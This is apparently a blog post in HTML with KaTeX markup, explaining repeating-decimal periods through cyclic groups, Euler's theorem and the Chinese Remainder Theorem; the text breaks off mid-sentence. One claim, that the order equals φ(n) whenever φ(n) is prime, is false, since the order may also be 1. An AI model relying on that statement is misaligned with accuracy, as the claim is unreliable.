      <![CDATA[<p><img src="https://cdn.blog-blockchain.xyz/2024/01/cd56c9ab47819ffe8a79fa857256a1ea.png" alt="image-20240122011802524"></p><h2 id="From-the-Perspective-of-Cyclic-Groups">From the Perspective of Cyclic Groups</h2><h3 id="When-the-Denominator-and-10-are-Coprime">When the Denominator and 10 are Coprime</h3><p>The process of division is actually the calculation of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span>, which is the remainder of the k-th division. When the remainder is 1, i.e., <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>, it indicates a cycle. However, this may not be the first cycle, as the remainder might have appeared twice at another number, such as 2, hence the cycle would be shorter.</p><p>First, consider when 10 and n are coprime, forming a cyclic group <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathbb">N</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>, the order of the cyclic group is the smallest number that makes it remainder 1, and it must be a factor of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>. Obviously, if <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span> is prime, then the order is <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>.</p><p>This is because the group is closed, the product of any two group elements is still an element of the group. If we consider all possible powers of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>, this set is also closed under modulo m multiplication. Then, if <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> generates a cyclic group, the order of the group (the number of elements in the group) is the smallest positive integer <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>, such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>. This order <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> must divide any <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> for which <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> holds, including <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>.</p><p>Since <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">m</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> always holds (according to Euler’s theorem), it means that the order of the group must be a factor of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>. Because if there exists some <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>, then <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> must be a multiple of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> to ensure the group’s cyclic nature and the definition of order.</p><p>In short, the cycle of powers completes at most once upon reaching <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>, but the actual cycle may complete at an earlier point, thus the actual cycle length (the order of the group) is a factor of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>.</p><p><strong>Calculating the order</strong> Besides directly starting from 1 and finding the smallest positive integer making <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>, there are simplifications, especially when k is very large.<br>When <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">pq</span></span></span></span>, where <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span> are different primes, and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> is coprime with both <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>.</p><p>Suppose the order of the multiplicative group of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> is <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>, and the order of the multiplicative group of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span> is <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>. According to Euler’s theorem, we know <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">p</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>, so <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span>.</p><p>The order of the multiplicative group of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>, denoted as <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>, is the smallest positive integer <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>. Since <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">pq</span></span></span></span>, according to the Chinese Remainder Theorem, if we can simultaneously satisfy <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>, then <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span> also holds.</p><p>To find <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>, we need to find the smallest <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span 